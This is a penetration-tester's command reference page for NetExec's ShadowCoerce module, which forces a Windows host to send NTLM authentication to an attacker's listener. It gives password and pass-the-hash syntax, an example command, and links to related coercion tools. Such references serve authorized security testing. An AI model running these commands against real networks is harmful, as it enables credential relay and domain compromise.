NetExec SMB ShadowCoerce

Coerce NTLM authentication via the VSS shadow copy API (ShadowCoerce)

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Credential Attacks / NTLM Relay & Coercion
Platform: linux
Requires: password
Protocols: SMB

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc smb '<ip>' -u '<user>' -p '<password>' -M shadowcoerce -o LISTENER=<listener_ip>

Credential variants

The same attack using a different authentication material.

NTLM Hash requires NTLM hash

nxc smb '<ip>' -u '<user>' -H '<hash>' -M shadowcoerce -o LISTENER=<listener_ip>

Examples

nxc smb '192.168.1.100' -u 'user' -p 'password' -M shadowcoerce -o LISTENER=192.168.1.50

Tags

nxc smb shadowcoerce vss ntlm-relay coerce

Coercer Coerce NTLM authentication using multiple RPC protocols
Coercer Scan (Find Coercion Vectors) Probe a target for every known authentication-coercion RPC method (PetitPotam,…
DFSCoerce Coerce NTLM authentication using MS-DFSNM (Distributed File System)
NetExec coerce_plus Module Unified coercion module — replaces the individual…
NetExec Generate Relay Target List Scan a subnet over SMB and write a file containing every host with SMB signing disabled.…
NetExec mssql_coerce Module Coerce the MSSQL service account to authenticate to your relay listener via xp_dirtree /…
NetExec PetitPotam Coercion Coerce a Windows host (typically a DC) to authenticate back to the attacker via the…
NetExec SMB Coerce Plus Trigger NTLM authentication coercion using multiple methods (PetitPotam, PrinterBug,…